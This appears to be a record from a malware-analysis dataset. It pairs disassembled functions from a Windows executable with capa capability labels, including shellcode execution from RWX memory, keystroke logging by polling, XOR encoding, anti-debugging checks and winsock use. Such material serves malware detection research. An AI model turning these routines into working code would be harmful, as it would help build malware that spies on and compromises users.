joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401011
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
jmp 0x401033
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
fninit
push 0x80000301
push 0
push 0x3e8
push 1
mov ebx, 0x1bc
call fcn.00440430
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4010d4
push ebx
call fcn.0043f20a
add esp, 4
pop eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.0040121e
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 8]
push 0x101
xor eax, eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x40110b
push 6
call fcn.0043f1f8
add esp, 4
push 0x80000301
push 0
push 8
push reloc.WS2_32.dll_connect
push 0
push 0x464300
push 2
mov ebx, 0x138
call fcn.00440460
add esp, 0x1c
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040123f
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x401154
push ebx
call fcn.0043f20a
add esp, 4
mov eax, dword [ebp - 0xc]
mov dword [0x4fe940], eax
push 0x80000301
push 0
push 0x80
push 0x80000301
push 0
push 8
push 2
mov ebx, 0xc8
call fcn.004404c0
add esp, 0x1c
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
call fcn.004013a5
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4011ae
push ebx
call fcn.0043f20a
add esp, 4
push 0
mov ebx, 4
mov eax, 0x445590
call fcn.00440390
add esp, 4
mov dword [0x4fe944], eax
push ecx
push eax
mov eax, 1
mov ecx, 2
mov eax, 4
mov ecx, 2
pop eax
pop ecx
nop
jmp 0x4011f3
nop
nop
nop
nop
nop
nop
call fcn.004014a5
mov eax, 0
jmp 0x401208
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401219
push ebx
call fcn.0043f20a
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x402408
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push htons
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x402426
mov eax, 0x46459e
push eax
push 1
mov ebx, 0x194
call fcn.004413c0
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x402450
mov eax, 0
jmp 0x4024c4
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 8]
mov eax, dword [eax]
test eax, eax
jle 0x4024b1
add eax, 8
mov edi, eax
mov ebx, edi
push edi
xor al, al
pop esi
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov edi, eax
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x40249a
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x402489
xor ecx, eax
xor edx, ebx
dec edi
jne 0x40247a
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop ecx
pop edx
pop edi
pop ebx
pop esi
leave
ret 4
mov esp, ebp
pop ebp
ret 4
Function at 0x408a5c
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
nop
nop
cmp dword [ebp - 4], esp
je 0x408a89
push 6
call fcn.0043f1f8
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
mov eax, 0
setne al
jmp 0x408a9d
mov esp, ebp
pop ebp
ret 4

Function at 0x4090d6
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push 0x1c
call fcn.0043f204
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 7
rep stosd dword es:[edi], eax
mov dword [ebp - 8], 0
jmp 0x409115
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
mov dword [ebp - 0xc], esp
mov eax, 0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push 0x1c
push dword [ebp - 4]
push 3
xor eax, eax
call dword [0x4fed18]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4091b7
push 6
call fcn.0043f1f8
add esp, 4
mov ebx, dword [ebp - 4]
add ebx, 8
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp - 4]
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0xc]
fild qword [ebx]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
mov ebx, dword [ebp - 0x10]
fild qword [ebx]
fstp qword [ebp - 0x20]
fsub qword [ebp - 0x20]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fdiv qword [0x464922]
fstp qword [ebp - 0x30]
push 0x80000601
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push 1
mov ebx, 0x9dc
call fcn.004413e0
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
jmp 0x409242
push eax
mov ebx, dword [ebp - 4]
push ebx
call fcn.0043f20a
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x40a440
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 0x40
call fcn.0043f204
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov ebx, dword [ebp - 4]
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 8]
mov dword [ebx], 0x40
mov dword [ebp - 8], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
nop
nop
cmp dword [ebp - 8], esp
je 0x40a497
push 6
call fcn.0043f1f8
add esp, 4
mov ebx, dword [ebp - 4]
add ebx, 8
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 8]
fild qword [ebx]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fdiv qword [0x464946]
fstp qword [ebp - 0x18]
push 0x80000601
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 1
mov ebx, 0x9dc
call fcn.004413e0
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x168
call fcn.00440550
add esp, 0x10
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
jmp 0x40a4f6
push eax
mov ebx, dword [ebp - 4]
push ebx
call fcn.0043f20a
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x40fb4f
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
xor eax, eax
call dword [0x4fed84]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x40fb88
push 6
call fcn.0043f1f8
add esp, 4
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x184
call fcn.004423f0
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40fbbe
push ebx
call fcn.0043f20a
add esp, 4
pop eax
mov dword [ebp - 8], eax
fild dword [ebp - 4]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fadd qword [0x4646f1]
fstp qword [ebp - 0x18]
mov dword [ebp - 0x1c], esp
fld qword [ebp - 0x18]
call fcn.004027ff
push eax
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x40fc02
push 6
call fcn.0043f1f8
add esp, 4
mov eax, dword [ebp - 8]
test eax, eax
je 0x40fc1e
push eax
mov ebx, eax
call fcn.0040133a
inc eax
push eax
call fcn.0043f204
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x40fc23
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40fc34
push ebx
call fcn.0043f20a
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x4129c5
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
jmp 0x412a03
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x412a89
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0043f204
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x412a9a
push ebx
call fcn.0043f20a
add esp, 4
pop eax
mov dword [ebp - 4], eax
push htons
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x412ab1
mov eax, 0x46459e
push eax
push 1
mov ebx, 0x194
call fcn.004413c0
add esp, 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
call fcn.0040121e
mov dword [ebp - 0xc], eax
push 1
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call fcn.00412c1d
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], esp
push 0x40
push 0x1000
push 0x64
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x412b16
push 6
call fcn.0043f1f8
add esp, 4
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0xa0000101
push 0
push 0x464b38
push 3
mov ebx, 0x914
call fcn.00442cf0
add esp, 0x28
push dword [ebp - 8]
push dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
call dword [ebp - 0x14]
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x14]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x412b8b
push 6
call fcn.0043f1f8
add esp, 4
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x10]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x412bb7
push 6
call fcn.0043f1f8
add esp, 4
mov eax, dword [ebp - 4]
test eax, eax
je 0x412bd1
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0043f204
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x412c05
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x412c16
push ebx
call fcn.0043f20a
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4140fc
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
jmp 0x41411e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
mov dword [ebp - 4], 0
nop
push eax
push ecx
push edx
push ebx
push esi
push edi
nop
nop
nop
push ebx
push ecx
push edx
mov eax, reloc.WS2_32.dll_getsockname
cpuid
shr ecx, 0x10
mov esi, ecx
nop
pop edx
pop ecx
pop ebx
nop
push ebx
push ecx
push edx
mov eax, htons
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
add esi, edx
nop
pop edx
pop ecx
pop ebx
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x64]
add esi, eax
nop
mov eax, 1
cpuid
xor ebx, ebx
mov bl, al
add esi, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, 1
cpuid
xor ebx, ebx
mov bl, dl
add esi, ebx
nop
nop
imul esi, esi, 0x88
nop
nop
push ebx
push ecx
push edx
mov eax, htons
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
imul edx, edx, 6
add esi, edx
nop
nop
nop
pop edx
pop ecx
pop ebx
nop
nop
nop
push ebx
push ecx
push edx
mov eax, reloc.WS2_32.dll_getsockname
cpuid
shr ecx, 0x10
imul ecx, ecx, 9
add esi, ecx
pop edx
pop ecx
pop ebx
nop
nop
nop
xor esi, 0x124254
mov dword [ebp - 4], esi
pop edi
pop esi
pop ebx
pop edx
pop ecx
pop eax
nop
nop
nop
mov eax, dword [ebp - 4]
jmp 0x414259
mov esp, ebp
pop ebp
ret
Function at 0x415f7a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
jmp 0x415f9c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
mov dword [ebp - 4], 0x2b7e9735
push edx
push ecx
push esi
xor esi, esi
mov eax, dword [ebp + 8]
lea ecx, ds:[esi*4]
mov ecx, dword [eax + ecx]
xor ecx, dword [ebp - 4]
lea edx, ds:[esi*4]
mov dword [eax + edx], ecx
add esi, 1
cmp esi, dword [ebp + 0xc]
jne 0x416015
pop esi
pop ecx
pop edx
nop
push ecx
push eax
mov eax, 1
mov ecx, 2
mov eax, 4
mov ecx, 2
pop eax
pop ecx
nop
jmp 0x416063
nop
nop
nop
nop
nop
nop
mov esp, ebp
pop ebp
ret 8

Function at 0x41805c
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push 0
push 0
push 0
push 4
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4180a9
push 6
call fcn.0043f1f8
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4180c0
mov eax, 0x46459e
jmp 0x418142
push 0x80000301
push 0
push dword [ebp + 0xc]
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0x910
call fcn.004425a0
add esp, 0x1c
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4180fd
push ebx
call fcn.0043f20a
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x418123
push 6
call fcn.0043f1f8
add esp, 4
mov eax, dword [ebp - 8]
test eax, eax
je 0x41813d
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0043f204
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x418142
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x418153
push ebx
call fcn.0043f20a
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8

Function at 0x418ba4
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
jmp 0x418bb9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push ebx
mov ebx, 1
mov ebx, 2
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 5
pop ebx
push esi
xor esi, esi
nop
mov eax, reloc.WS2_32.dll_getsockname
cpuid
shr ecx, 0x10
add esi, ecx
nop
nop
mov eax, htons
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
add esi, edx
nop
mov eax, 1
xor edx, edx
cpuid
add esi, edx
xor esi, eax
rdtsc
add esi, edx
xor esi, 0x354e7978
mov eax, reloc.WS2_32.dll_getsockname
cpuid
shr ecx, 0x10
add esi, ecx
nop
nop
mov eax, htons
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
add esi, edx
nop
mov eax, 1
xor edx, edx
cpuid
add esi, edx
xor esi, eax
rdtsc
add esi, edx
xor esi, 0x836bd0f7
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x418e40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
jmp 0x418e7e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x418f04
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0043f204
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x418f15
push ebx
call fcn.0043f20a
add esp, 4
pop eax
mov dword [ebp - 4], eax
push htons
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x418f2c
mov eax, 0x46459e
push eax
push 1
mov ebx, 0x194
call fcn.004413c0
add esp, 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
call fcn.0040121e
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
push 1
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call fcn.00412c1d
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], esp
push 0x40
push 0x1000
push 0x64
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x418f9f
push 6
call fcn.0043f1f8
add esp, 4
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0xa0000101
push 0
push 0x464e7c
push 3
mov ebx, 0x914
call fcn.00442cf0
add esp, 0x28
push dword [ebp - 8]
push dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
call dword [ebp - 0x14]
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x14]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x419014
push 6
call fcn.0043f1f8
add esp, 4
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x10]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x419040
push 6
call fcn.0043f1f8
add esp, 4
mov eax, dword [ebp - 4]
test eax, eax
je 0x41905a
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0043f204
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x41908e
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41909f
push ebx
call fcn.0043f20a
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x14
Function at 0x41a43e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
jmp 0x41a460
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push ebx
mov ebx, 1
mov ebx, 2
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 5
pop ebx
mov dword [ebp - 4], 0x2ec3d7e5
push edx
push ecx
push esi
xor esi, esi
mov eax, dword [ebp + 8]
lea ecx, ds:[esi*4]
mov ecx, dword [eax + ecx]
xor ecx, dword [ebp - 4]
lea edx, ds:[esi*4]
mov dword [eax + edx], ecx
add esi, 1
cmp esi, dword [ebp + 0xc]
jne 0x41a4d9
pop esi
pop ecx
pop edx
nop
push ecx
push eax
mov eax, 1
mov ecx, 2
mov eax, 4
mov ecx, 2
pop eax
pop ecx
nop
jmp 0x41a527
nop
nop
nop
nop
nop
nop
mov esp, ebp
pop ebp
ret 8
Function at 0x41de74
Capabilities:
Contain obfuscated stackstrings
Decode data using base64 via vbmi lookup table
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0x84
push ebx
mov ebx, dword [esp + 0x98]
push esi
xor ecx, ecx
xor esi, esi
xor edx, edx
push edi
mov dword [esp + 0xc], 0x7f7f7f7f
mov dword [esp + 0x10], 0x7f7f7f7f
mov dword [esp + 0x14], 0x7f7f7f7f
mov dword [esp + 0x18], 0x7f7f7f7f
mov dword [esp + 0x1c], 0x7f7f7f7f
mov dword [esp + 0x20], 0x7f7f7f7f
mov dword [esp + 0x24], 0x7f7f7f7f
mov dword [esp + 0x28], 0x7f7f7f7f
mov dword [esp + 0x2c], 0x7f7f7f7f
mov dword [esp + 0x30], 0x7f7f7f7f
mov dword [esp + 0x34], 0x3e7f7f7f
mov dword [esp + 0x38], 0x3f7f7f7f
mov dword [esp + 0x3c], 0x37363534
mov dword [esp + 0x40], 0x3b3a3938
mov dword [esp + 0x44], 0x7f7f3d3c
mov dword [esp + 0x48], 0x7f7f407f
mov dword [esp + 0x4c], 0x201007f
mov dword [esp + 0x50], 0x6050403
mov dword [esp + 0x54], 0xa090807
mov dword [esp + 0x58], 0xe0d0c0b
mov dword [esp + 0x5c], 0x1211100f
mov dword [esp + 0x60], 0x16151413
mov dword [esp + 0x64], 0x7f191817
mov dword [esp + 0x68], 0x7f7f7f7f
mov dword [esp + 0x6c], 0x1c1b1a7f
mov dword [esp + 0x70], 0x201f1e1d
mov dword [esp + 0x74], 0x24232221
mov dword [esp + 0x78], 0x28272625
mov dword [esp + 0x7c], 0x2c2b2a29
mov dword [esp + 0x80], 0x302f2e2d
mov dword [esp + 0x84], 0x7f333231
mov dword [esp + 0x88], 0x7f7f7f7f
test ebx, ebx
je 0x41e0c1
mov edi, dword [esp + 0x9c]
mov edi, edi
mov eax, ebx
sub eax, edx
cmp eax, 2
jb 0x41dfbe
cmp byte [edx + edi], 0xd
jne 0x41dfbe
cmp byte [edx + edi + 1], 0xa
je 0x41dff7
mov al, byte [edx + edi]
cmp al, 0xa
je 0x41dff7
cmp al, 0x3d
jne 0x41dfd3
inc ecx
cmp ecx, 2
ja 0x41e0cf
cmp al, 0x7f
ja 0x41e0cf
movzx eax, al
mov al, byte [esp + eax + 0xc]
cmp al, 0x7f
je 0x41e0cf
cmp al, 0x40
jae 0x41dff6
test ecx, ecx
jne 0x41e0cf
inc esi
inc edx
cmp edx, ebx
jb 0x41dfa8
test esi, esi
je 0x41e0c1
mov ecx, dword [esp + 0x98]
lea eax, [esi + esi*2]
mov esi, dword [esp + 0x94]
lea eax, [eax*2 + 7]
shr eax, 3
test esi, esi
je 0x41e0e0
cmp dword [ecx], eax
jb 0x41e0e0
xor eax, eax
xor ebx, ebx
push ebp
mov ebp, 3
mov dword [esp + 0x90], eax
test edx, edx
je 0x41e0b0
lea esp, [esp]
mov al, byte [edi]
cmp al, 0xd
je 0x41e0ac
cmp al, 0xa
je 0x41e0ac
movzx eax, al
mov cl, byte [esp + eax + 0x10]
xor eax, eax
cmp cl, 0x40
sete al
shl ebx, 6
sub ebp, eax
movzx eax, cl
mov ecx, dword [esp + 0x90]
and eax, 0x3f
inc ecx
or ebx, eax
mov dword [esp + 0x90], ecx
cmp ecx, 4
jne 0x41e0ac
xor eax, eax
mov dword [esp + 0x90], eax
test ebp, ebp
je 0x41e097
mov eax, ebx
shr eax, 0x10
mov byte [esi], al
inc esi
cmp ebp, 1
jbe 0x41e0a4
mov eax, ebx
shr eax, 8
mov byte [esi], al
inc esi
cmp ebp, 2
jbe 0x41e0ac
mov byte [esi], bl
inc esi
inc edi
dec edx
jne 0x41e048
sub esi, dword [esp + 0x98]
mov eax, dword [esp + 0x9c]
pop ebp
mov dword [eax], esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x84
ret 0x10
pop edi
pop esi
mov eax, 0xfffffffe
pop ebx
add esp, 0x84
ret 0x10
pop edi
pop esi
mov dword [ecx], eax
or eax, 0xffffffff
pop ebx
add esp, 0x84
ret 0x10
Function at 0x41e662
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
jmp 0x41e684
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
fninit
mov dword [ebp - 8], esp
push 0
xor eax, eax
call dword [0x4fecfc]
nop
nop
cmp dword [ebp - 8], esp
je 0x41e6e5
push 6
call fcn.0043f1f8
add esp, 4
push 0x80000301
push 0
push dword [0x4fe974]
push 1
mov ebx, 0xc
mov eax, 0x445620
call fcn.00440390
add esp, 0x10
push dword [ebp + 8]
call fcn.0041ad98
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41e728
push ebx
call fcn.0043f20a
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [0x4fe974]
push 1
mov ebx, 0x10
mov eax, 0x445640
call fcn.00440390
add esp, 0x10
mov eax, dword [ebp - 4]
test eax, eax
je 0x41e76c
push eax
mov ebx, eax
call fcn.0040133a
inc eax
push eax
call fcn.0043f204
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x41e7a0
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41e7b1
push ebx
call fcn.0043f20a
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x422f2c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], esp
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
cmp dword [ebp - 4], esp
je 0x422f57
push 6
call fcn.0043f1f8
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x422f92
mov dword [ebp - 4], esp
push 0x96
xor eax, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
cmp dword [ebp - 4], esp
je 0x422f88
push 6
call fcn.0043f1f8
add esp, 4
mov eax, 1
jmp 0x422f9c
mov eax, 0
jmp 0x422f9c
mov esp, ebp
pop ebp
ret 4